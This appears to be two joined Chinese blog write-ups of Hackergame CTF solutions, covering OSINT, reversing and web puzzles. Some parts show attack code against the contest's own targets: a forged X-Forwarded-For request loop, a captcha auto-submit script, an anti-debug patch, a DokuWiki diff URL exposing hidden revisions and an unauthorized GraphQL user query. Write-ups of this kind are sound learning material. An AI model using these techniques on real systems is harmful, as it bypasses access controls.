lines[i].split('=')[1].strip() lines[i] = '' for index in indexs: index = index.strip() lines[i] += f'a[{index}] = {result};' with open('getflag.hei.fixed.py', 'w') as f: f.writelines(lines)最后一下修复后的代码得到flagflag{6d9ad6e9a6268d96-cb74a571dc764044}Xcaptcha拿到这题后发现是延时1秒自动提交结果，首先的想法是抓包再手动提交。抓包后用Python逐个计算了下结果提交后发现还是返回验证失败：超过 1 秒限制。搞不清楚后端是如何判断时间是否超时的，第一个怀疑是通过Cookie，奈何技术力低下看不懂如何解Cookie就跳过了，不过看起来Cookie像是JWT Token。接下来尝试了给请求Header加Date，时间改到了2042年，未果。然后就没有头绪了，只能尝试硬解。拿出Tampermonkey写了一段脚本后通过计算：function cal(captcha){ let split = captcha.split('+'); let left = BigInt(split[0]); split = split[1].split(' '); let right = BigInt(split[0]); let result = left + right; return result; } (function() { 'use strict'; let captcha1 = document.querySelector("label[for=captcha1").textContent; document.getElementById('captcha1').value=cal(captcha1); let captcha2 = document.querySelector("label[for=captcha2").textContent; document.getElementById('captcha2').value=cal(captcha2); let captcha3 = document.querySelector("label[for=captcha3").textContent; document.getElementById('captcha3').value=cal(captcha3); document.getElementById('submit').click(); })();拿到flag后看意思果然应该还是在header里做文章，等题解......flag{head1E55_br0w5er_and_ReQuEsTs_areallyour_FR1ENd_c6c5697944}旅行照片 2.0今年的旅行照片居然没有隐去EXIF，第一题查看EXIF即可得到答案： flag{1f_y0u_d0NT_w4nt_shOw_theSe_th3n_w1Pe_EXlF}第二题未解完：酒店：放大图片观察建筑可以看到WELCOME TO ZOZOMA***E STADIUM，谷歌得知地点为日本千叶ZOZO海洋球场。查看对面大概位置酒店的邮编即可2610021根据上题EXIF得知手机厂商为小米，CPU为sm6115，即高通骁龙662。那么对应的手机为红米Note 9。分辨率为2340x1080航班：地图放大后看附近机场，再看飞行方向猜测很大可能是羽田机场起飞。但查航线回放时发现要会员，也懒得遍历就摆烂了......Flag 自动机这题用动态调试+patch过了。永远无法触及的狠心夺取按钮直接不管，我们要做的是让放手离开按钮按下后执行打印flag的逻辑。IDA打开后发现无法调试，找了找方法发现sub_4083AC中检测了调试器，直接把call exitnop掉即可。查看sub_401510伪代码：LRESULT __stdcall sub_401510(HWND hWndParent, UINT Msg, WPARAM a3, LPARAM lParam) { size_t v4; // eax FILE *Stream; // [esp+40h] [ebp-18h] void *Block; // [esp+44h] [ebp-14h] HFONT wParam; // [esp+48h] [ebp-10h] unsigned int dwNewLong; // [esp+4Ch] [ebp-Ch] switch ( Msg ) { case 2u: PostQuitMessage(0); break; case 0x111u: if ( (_WORD)a3 == 2 ) PostQuitMessage(0); if ( (_WORD)a3 == 3 ) { if ( lParam == 114514 ) { Block = (void *)sub_401F8A(hWndParent, 114514); MessageBoxW(hWndParent, "m`淯`O穬梍 ", L"Congratulations", 0); Stream = fopen("flag_machine.txt", "w"); if ( !Stream ) { MessageBoxW(hWndParent, "噀鯪Sb", "E", 0); free(Block); exit(-1); } v4 = strlen((const char *)Block); fwrite(Block, 1u, v4, Stream); fclose(Stream); free(Block); } else { MessageBoxW(hWndParent, "穬諷 ", "E", 0); } } break; case 1u: hWnd = CreateWindowExW(0, "B", "鄏胈:Y諷", 0x50000000u, 85, 150, 80, 25, hWndParent, (HMENU)3, 0, 0); dword_40B024 = CreateWindowExW(0, "B", ">eKb粂", 0x50000000u, 185, 150, 80, 25, hWndParent, (HMENU)2, 0, 0); dword_40B028 = CreateWindowExW( 0, &word_40A04A, lpWindowName, 0x50000000u, 85, 100, 300, 20, hWndParent, (HMENU)1, 0, 0); dwNewLong = GetWindowLongA(hWndParent, -16) & 0xFFFEFFFF; SetWindowLongA(hWndParent, -16, dwNewLong); wParam = CreateFontW(12, 0, 0, 0, 400, 0, 0, 0, 0x86u, 0, 0, 2u, 0x12u, "媅SO"); SendMessageA(hWndParent, 0x30u, (WPARAM)wParam, 1); SendMessageA(hWnd, 0x30u, (WPARAM)wParam, 1); SendMessageA(dword_40B024, 0x30u, (WPARAM)wParam, 1); SendMessageA(dword_40B028, 0x30u, (WPARAM)wParam, 1); break; } return DefWindowProcW(hWndParent, Msg, a3, lParam); }可以发现重要的判断有if ( (_WORD)a3 == 3 )和if ( lParam == 114514 )，而动调sub_401510时可发现当按下放手离开按钮，a3 = 2，那么只需patch程序，调换下条件即可。另外需要保证[ebp+lParam]为114514 mov [ebp+lParam], 114514。flag{Y0u_rea1ly_kn0w_Win32API_89ab91ac0c}Flag 的痕迹（题目 Dokuwiki 版本基于 2022-07-31a "Igor"）看到题目强调版本，我感觉可能有些问题，故而翻了翻官方的commit历史，然后翻到了这条SECURITY fix difftype handling. #3761SECURITY fix difftype handling. #3761 · splitbrain/dokuwiki@63e9a24 (github.com)。进去看了下，没用到这个XSS，但发现原来?do=diff即便在revisions关掉后也可以查看历史。那往前翻翻到这就发现flag啦/doku.php?id=start&do=diff&rev2[0]=1665224461&rev2[1]=1666320802&difftype=sidebysideflag{d1gandFInD_d0kuw1k1_unexpectEd_API}微积分计算小练习看了看网页源码后可以发现直接将query丢到了innerHTML。摆明了就是要XSS，而”后台“也是拿面页里的数据来用。拿注入一下打印cookie就好了。100: flag{xS5_1OI_is_N0t_SOHARD_d94d8efdc1}0x2 尾巴怎么说呢，感觉近期动力不充足。白天工作完了晚上也有项目，一周到了末尾只想咸鱼，逛逛B站、打打游戏，其它什么都不想动。这一年也没什么目标基本没有再钻研过逆向，没有掌握新逆向知识。感觉这个状态不对，但不知道怎么走出来......最后分数：
0x0 背景弃坑Arcaea一段时间了，在Hackergame 2021结束的最后两天偶然打开某arc群时发现几个大佬这几天隔段时间就往群里丢一张分数及排名截图，翻翻记录发现某张图上截到了 Hackergame 2021的字样。搜了搜是中国科学技术大学第八届信息安全大赛，卧槽，看起来非常有趣。那么菜鸡空闲时间里的第一次安全游戏之旅就开始了...还是怀念大学时的空闲时间啊，可以花时间边学边解。现在只能等下班后挤出点时间解题了，加入又太晚，只能挑很容易看出头绪的 - 即人数多的题目解答了。0x1 题目签到打开题目我是一脸懵逼的，意味わかんない。万幸官方有提示参考历年签到题，挨个看了看都是提交某个值获取到某个flag，再看看QA才知道游戏玩法。结合题意和返回的时间可知页数跟字符串有关。Hackergame 2021 比赛进行期间的任何一页获取当前时间的Timestamp转到对应页即可。flag{HappyHacking2021-0af061d136}进制十六——参上阅读完文字觉得老哥们个个都是人才，说话又有趣......看图答题，抹掉区域的十六进制对应回ASCII即可flag{Y0U_SH0U1D_kn0w_H0W_t0_C0nv3rt_HEX_to_TexT}去吧！追寻自由的电波北约音标字母 - 维基百科，自由的百科全书 (wikipedia.org)其实我是用Potplayer慢放听了好一会儿才听出来，我也知道是因为现代的播放器自动保持声调导致的，但是懒得开au降调，硬是听出来了。直到后来水群的时候，发现关闭声音滤镜就不会保持声调了，才知道是真的好听。flag{phoneticab}猫咪问答 Pro Max第一题2017 年，中科大信息安全俱乐部（SEC@USTC）并入中科大 Linux 用户协会（USTCLUG）。目前，信息安全俱乐部的域名（sec.ustc.edu.cn）已经无法访问，但你能找到信息安全俱乐部的社团章程在哪一天的会员代表大会上通过的吗？看到域名已经无法访问第一反应就是去Wayback Machine (archive.org)找，输入链接打开跳转到主页就能找到社团章程链接打开，第一行就是通过日期。第二题中国科学技术大学 Linux 用户协会在近五年多少次被评为校五星级社团Google 中国科学技术大学 Linux 用户协会 五星级社团 第一条官方简介里就提到了为了表彰其出色表现，协会于 2011 年 5 月被评为中国科学技术大学优秀学生社团，于 2012 年 5 月、2013 年 5 月及 2014 年 5 月分别被评为中国科学技术大学四星级学生社团，并于 2015 年 5 月、2017 年 7 月、2018 年 9 月、2019 年 8 月及 2020 年 9 月被评为中国科学技术大学五星级学生社团。值得一提的是，居然还搜到了一个相关知乎问题中国科学技术大学 Linux 用户协会在近五年多少次被评为校五星级社团？ - 知乎 (zhihu.com)，这位童鞋企图请求场外援助可还行。第三题「中国科学技术大学 Linux 用户协会位于西区图书馆的活动室门口的牌子上“LUG @ USTC”下方的小字是？」直接Google中国科学技术大学 Linux 用户协会 西区图书馆翻翻看有官方发布的新闻，标题为西区图书馆新活动室启用。第四题「在 SIGBOVIK 2021 的一篇关于二进制 Newcomb-Benford 定律的论文中，作者一共展示了多少个数据集对其理论结果进行验证？」Google sigbovik 2021 newcomb-benford即可找到PDF，下载后找到对应文章，作者有提到We converted all ofthe data points to their binary representations, and plottedthe relative frequency of the leading digits. The figures areshown in Figs. 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, and 14in the appendix4.数一数即得到答案。第五题「不严格遵循协议规范的操作着实令人生厌，好在 IETF 于 2021 年成立了 Protocol Police 以监督并惩戒所有违背 RFC 文档的行为个体。假如你发现了某位同学可能违反了协议规范，根据 Protocol Police 相关文档中规定的举报方法，你应该将你的举报信发往何处？」根据题意Google IETF Protocol Police report找到rfc8962，下翻找到Reporting OffensesSend all your reports of possible violations and all tips aboutwrongdoing to /dev/null. The Protocol Police are listening and willtake care of it.flag{8804d9f3_bb1f4d1680}卖瓜我瞎填怎么就卖出去了？啊？只知道9斤的瓜会溢出。其余就是瞎点碰出来了。凭运气解题可还行，我居然还有脸写下来...flag{HUAQIANG!HUAQIANG!_d097b45ebf}透明的文件题目中有提到五颜六色的字眼，打开文件可以看到大量\[\d+m，经验得知这是ANSI颜色转义，在[前补上\033或\x1b即可。但是输出的时候发现什么都没打印出来，多试了试发现终端里某些已经存在的字符消失了，结合题目可知打印出来是相对透明的空字符。随便输出铺满终端后再次打印即可得到flag。打印出来其实不太好看，但是众所周知，拿下眼镜之后就非常好看了，于是手机拍屏幕照抄搞定。flag{abxnniohkalmcowsayfiglet}旅行照片请观察照片并答对全部 5 道题以获取 flag。我傻了，看了辣么久图片，都已经定位到地方了，我也没看出来是哪五道题。直到晚上回来又看了会儿题，发现这个蓝色的按钮点开了才是题目.... 卖糕的，原谅我的第一次。题目里已经提到KFC分店了，看到是蓝色涂装的KFC，大街上的巴士及巴士左面大门旁的标牌能确定这是国内。那么去百度搜蓝色KFC就能直接定位到这是秦皇岛新澳海底世界的肯德基甜品站。打开卫星地图搜索此位置即可解大部分题。楼层大致数下就知道在10层之上，20层之下，遍历下就OK。flag{D0n7-5hare-ph0t05-ca5ua11y}FLAG 助力大红包为好友助力时提交的表单里为前端获取到的IP，后端同样获取IP并于此IP对比，不符则不通过。说来前端是通过调用搜狐API获取当前IP，但此请求被广告屏蔽插件拦截了，导致没获取到，第一次点击按钮时返回失败！错误的前端检测 IPv4 地址格式： ！还让我愣了下。手动POST几次可以发现后端确实进行了校验，那么就必须想办法欺骗后端了，由于搭过Nginx反代，其中不少次还是某代理。第一反应就是X-Forwarded-For和X-Real-IP这两个请求头，尝试构造X-Forwarded-For可发现通过了校验。import requests import time uuid = "foobar" for i in range(0, 256): ip = f'{i}.0.0.0' data = f'ip={ip}' headers = { 'X-Forwarded-For': ip, 'Content-Type': 'application/x-www-form-urlencoded', } response = requests.post(f'http://202.38.93.111:10888/invite/{uuid}', headers=headers, data=data, verify=False) print(response.text) time.sleep(2) flag{r3d-enve10p3-2782dacb99}Amnesia欸嘿，这题要C语言，我不会！轻度失忆但IDA经验告诉我好像字符串都存在.rodata里，那不写字符串应该就没问题了。搜索下C语言的Hello, world!实例代码，先不输出字符串输出整数试试：printf("%d",1);。结果什么都没有输出，emmmmm，"%d"也是字符串。看下C的标准库<stdio.h>，发现输出到stdout的还有int putchar(int char)。随即成功尝试输出一个字符。那么搜索一下关键词c putchar hello wolrd，Google没找到，倒是百度搜到了某CSDN文章，复制粘贴搞定此题。代码来自c语言putchar_6个变态的C语言Hello World程序-CSDN博客#include <stdio.h> int main(void) { int x=0,y[14],*z=&y;*(z++)=0x48;*(z++)=y[x++]+0x1D; *(z++)=y[x++]+0x07;*(z++)=y[x++]+0x00;*(z++)=y[x++]+0x03; *(z++)=y[x++]-0x43;*(z++)=y[x++]-0x0C;*(z++)=y[x++]+0x57; *(z++)=y[x++]-0x08;*(z++)=y[x++]+0x03;*(z++)=y[x++]-0x06; *(z++)=y[x++]-0x08;*(z++)=y[x++]-0x43;*(z++)=y[x]-0x21; x=*(--z); while (y[x]!=NULL) putchar (y[x++]); return(0); }flag{S0_S1mp1e_r1ght_a796597e01}图之上的信息定义好GraphQL后前端可以只查询自己关心的字段，且交互都是经由统一的入口。可以通过获取Schema来得到有哪些存在的数据，这里有篇不错的教程How to Retrieve a GraphQL Schema | by Mr. Thank You | Medium。不过现有支持GraphQL的网络测试工具会自动获取这些信息，并提供方便的UI辅助。我用的是Insomnia。可以看到除了面页中用到的note对象外以外还存在user。尝试获取user(id: 1)会发现并没有做权限控制。{ user(id: 1) { username privateEmail } }flag{dont_let_graphql_l3ak_data_23fae4f9ff@hackergame.ustc}赛博厨房Level 0一上来实属没搞懂要干什么，不过试试Level 0中的这几个实例就能明白了。0,00,11,01,1向右 1 步向右 1 步向右 2 步向右 2 步拿起 2 个物品拿起 1 个物品拿起 1 个物品拿起 2 个物品向左 1 步向左 1 步向左 2 步向左 2 步向下 1 步向下 1 步向下 1 步向下 1 步放下 1 个物品放下 1 个物品放下 1 个物品放下 1 个物品放下 1 个物品向上 1 步向上 1 步放下 1 个物品向上 1 步向右 2 步向右 1 步向上 1 步 拿起 1 个物品拿起 1 个物品 向左 2 步向左 1 步 向下 1 步向下 1 步 放下 1 个物品放下 1 个物品 向上 1 步向上 1 步 flag{level0_9d132008f193_5dd0c98b4e}Level 1向右 1 步 拿起 73 个物品 向下 1 步 向左 1 步 放下 1 个物品 如果手上的物品大于等于 1 向上跳转 1 行flag{level1_212d794167df_5dd0c98b4e}minecRaft其实一开始没想做这题，因为我没怎么玩过Minecraft，只是知道其有红石电路，但细节是一点都不知道。但是去排行榜一看大佬们一排都做了这题，来了兴趣看看这题到底是啥。打开之后随便走走就看到第一个灯亮了，一开始以为是找规律，乱猜几次也看不出来什么规律。随之想看下代码灯亮是怎么触发的，看代码时注意到有个flag.js，赫然包含一个方法gyflagh()，查看下引用发现在index.html中是这么调用的： function printcinput() { let content = document.getElementById('spann'); if (cinput[0] === 'M') { if (pressplateList[64].status === false) { pressplateList[64].TurnOn_redstone_lamp(); pressplateList[64].status = true; } } if (cinput.length >= 32) { let tbool = gyflagh(cinput.join('')); if (tbool) { pressplateList[65].TurnOn_redstone_lamp(); content.innerText = 'Congratulations!!!'; return; } cinput.length = 0; } content.innerText = cinput.join(''); }好家伙，原来什么规律都没有，就等着解js呢。function gyflagh(_0x111955) { const _0x50051f = _0x22517d; // const _0x22517d = _0x2c9e; // _0x2c9e -> _0x381b -> ['encrypt'...]; let _0x3b790d = _0x111955[_0x50051f(0x1a8)](_0x50051f(0x1b7)); if (_0x3b790d === _0x50051f(0x1aa)) return !![]; return ![]; }第一行上来就能发现熟悉的套路，前段时间尝试解PHP混淆的时候刚遇到过将字符串全放数组再取用 记录下初次尝试解PHP混淆时的学习资料 - 星 (hoshi.tech)，结果js也是这个套路。从Console里直接打印完事。function gyflagh(input) { const _getStringFunc = getStringFunc; let encryptResult = input.encrypt('1356853149054377'); if (encryptResult === '6fbde674819a59bfa12092565b4ca2a7a11dc670c678681daf4afb6704b82f0c') return true; return false; }套路出来了就解套，按照加密方法写解密就完事。加密方法：String['prototype']['encrypt'] = function (key) { let i; array_two = new Array(0x2), array_four = new Array(0x4); // [909456177, 825439544, 892352820, 926364468] let result = ''; let plaintext = escape(this); for (i = 0x0; i < 0x4; i++) { array_four[i] = Str4ToLong(key.slice(i * 0x4, (i + 0x1) * 0x4)); } for (i = 0x0; i < plaintext.length; i += 0x8) { array_two[0x0] = Str4ToLong(plaintext.slice(i, i + 0x4)); array_two[0x1] = Str4ToLong(plaintext.slice(i + 0x4, i + 0x8)); code(array_two, array_four); result += LongToBase16(array_two[0x0]) + LongToBase16(array_two[0x1]); } return result; }看循环条件，结合题目提到的需要最短序列，以及上面index.html中的条件语句cinput.length >= 32猜测flag就为32位，所以这个方法循环了4次。调用LongToBase16()可发现返回的都是8位字符串，将加密后的flag拆开解就可以了。另外可以看到这里调用了code()方法，还需多倒推一个方法。倒推解密方法：function decrypt(key) { // key: 1356853149054377 let cipher = "6fbde674819a59bfa12092565b4ca2a7a11dc670c678681daf4afb6704b82f0c"; cipher = cipher.match(/.{1,16}/g); const keys = new Array(0x4); for (let i = 0x0; i < 0x4; i++) { keys[i] = Str4ToLong(key.slice(i * 0x4, (i + 0x1) * 0x4)); } let result = ''; for (let j = 0; j < cipher.length; j++) { const parts = cipher[j].match(/.{1,8}/g); parts[0] = Base16ToLong(parts[0]); parts[1] = Base16ToLong(parts[1]); decode(parts, keys); parts[0] = LongToStr4(parts[0]) parts[1] = LongToStr4(parts[1]) result += parts[0] + parts[1]; } console.log(result); return result; }这里我犯了第一个傻，我看到了Base16ToLong()这个方法已经定义，但是LongToStr4()这个方法在下面，我们看到也定义了。我的位运算基本功不扎实，花费了不少时间尝试写LongToStr()。这一操作让本就不充裕的时间雪上加霜。原code()方法：function code(array_two, array_four) { let part_one = array_two[0x0], part_two = array_two[0x1]; const a = 2654435769, b = a * 0x20; let i = 0x0; while (i != b) { part_one += (part_two << 0x4 ^ part_two >>> 0x5) + part_two ^ i + array_four[i & 0x3]; i += a; part_two += (part_one << 0x4 ^ part_one >>> 0x5) + part_one ^ i + array_four[i >>> 0xb & 0x3]; } array_two[0x0] = part_one, array_two[0x1] = part_two; }接着是倒推code()：function decode(array_two, array_four) { let part_one = array_two[0x0], part_two = array_two[0x1]; const a = 2654435769, b = a * 0x20; let i = b; while (i != 0x0) { part_two -= ((part_one << 0x4 ^ part_one >>> 0x5) + part_one ^ i + array_four[i >>> 0xb & 0x3]); i -= a; part_one -= ((part_two << 0x4 ^ part_two >>> 0x5) + part_two ^ i + array_four[i & 0x3]); } array_two[0x0] = part_one, array_two[0x1] = part_two; }这里我犯了第二个傻，上面提到了我的位运算基本功不扎实，所以我看到这个方法的第一反应就是“我完蛋了。”什么都没想就开始尝试逆算位运算，随机32个字符当flag后对着part_one << 0x4 ^ part_one >>> 0x5尝试了半天。边学JavaScript 位运算符应用及优先级_Fancy_vae的博客-CSDN博客边写，从晚上九点多下班干到凌晨将近一点将通过foo << 0x4以及foo >>> 0x5拼接出foo的方法写好后才发现我只知道他们异或后的值，并不知道其中一个...然后...卧槽，我知道他们异或后的值，那不是根本不用算，直接倒过来做减法就完事了。解完这题，游戏结束咯。McWebRE_inMlnCrA1t_3a5y_1cIuop9i0x2 尾巴第一次参加CTF，总的来说感觉这种活动很有趣，出题的老哥们说话也好玩。只是只能当作萌新玩玩简单题目了，这次参加的太晚，很多看上去完全没头绪的题目在有限时间内也没太多心力去钻研了。下次早点参加应该会有更多的时间钻研。最后分数：